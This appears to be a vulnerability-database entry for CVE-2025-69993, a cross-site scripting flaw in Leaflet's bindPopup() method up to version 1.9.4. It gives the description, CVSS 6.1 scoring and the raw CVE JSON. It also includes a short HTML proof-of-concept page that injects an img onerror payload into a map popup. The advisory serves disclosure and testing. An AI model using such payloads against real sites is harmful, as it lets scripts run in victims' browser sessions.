Security Vulnerability Report
中文
CVE-2025-69993 CVSS 6.1 MEDIUM

CVE-2025-69993

Published: 2026-04-14 15:16:25
Last Modified: 2026-04-21 18:16:20

Description

Leaflet versions up to and including 1.9.4 are vulnerable to Cross-Site Scripting (XSS) via the bindPopup() method. This method renders user-supplied input as raw HTML without sanitization, allowing attackers to inject arbitrary JavaScript code through event handler attributes (e.g., <img src=x onerror="alert('XSS')">). When a victim views an affected map popup, the malicious script executes in the context of the victim's browser session.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:leafletjs:leaflet:*:*:*:*:*:node.js:*:* - VULNERABLE
Leaflet <= 1.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC Code for CVE-2025-69993 --> <!DOCTYPE html> <html> <head> <title>CVE-2025-69993 PoC</title> <link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/leaflet.css" /> <script src="https://unpkg.com/[email protected]/dist/leaflet.js"></script> </head> <body> <div id="map" style="height: 500px;"></div> <script> // Initialize map var map = L.map('map').setView([51.505, -0.09], 13); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: 'Map data &copy; OpenStreetMap' }).addTo(map); // Vulnerable payload: HTML with onerror event handler var maliciousContent = '<img src=x onerror="alert(\'CVE-2025-69993 XSS Triggered\')">'; // Create marker and bind popup with unsanitized HTML L.marker([51.5, -0.09]) .addTo(map) .bindPopup(maliciousContent) .openPopup(); // Automatically open to demonstrate </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69993", "sourceIdentifier": "[email protected]", "published": "2026-04-14T15:16:25.477", "lastModified": "2026-04-21T18:16:19.760", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Leaflet versions up to and including 1.9.4 are vulnerable to Cross-Site Scripting (XSS) via the bindPopup() method. This method renders user-supplied input as raw HTML without sanitization, allowing attackers to inject arbitrary JavaScript code through event handler attributes (e.g., <img src=x onerror=\"alert('XSS')\">). When a victim views an affected map popup, the malicious script executes in the context of the victim's browser session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:leafletjs:leaflet:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.9.4", "matchCriteriaId": "840C3800-3D9A-4B7A-96E4-390841CE2AB2"}]}]}], "references": [{"url": "https://github.com/PierfrancescoConti/leaflet-cve-2025-69993/blob/main/ADVISORY.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://leafletjs.com/", "source": "[email protected]"}]}}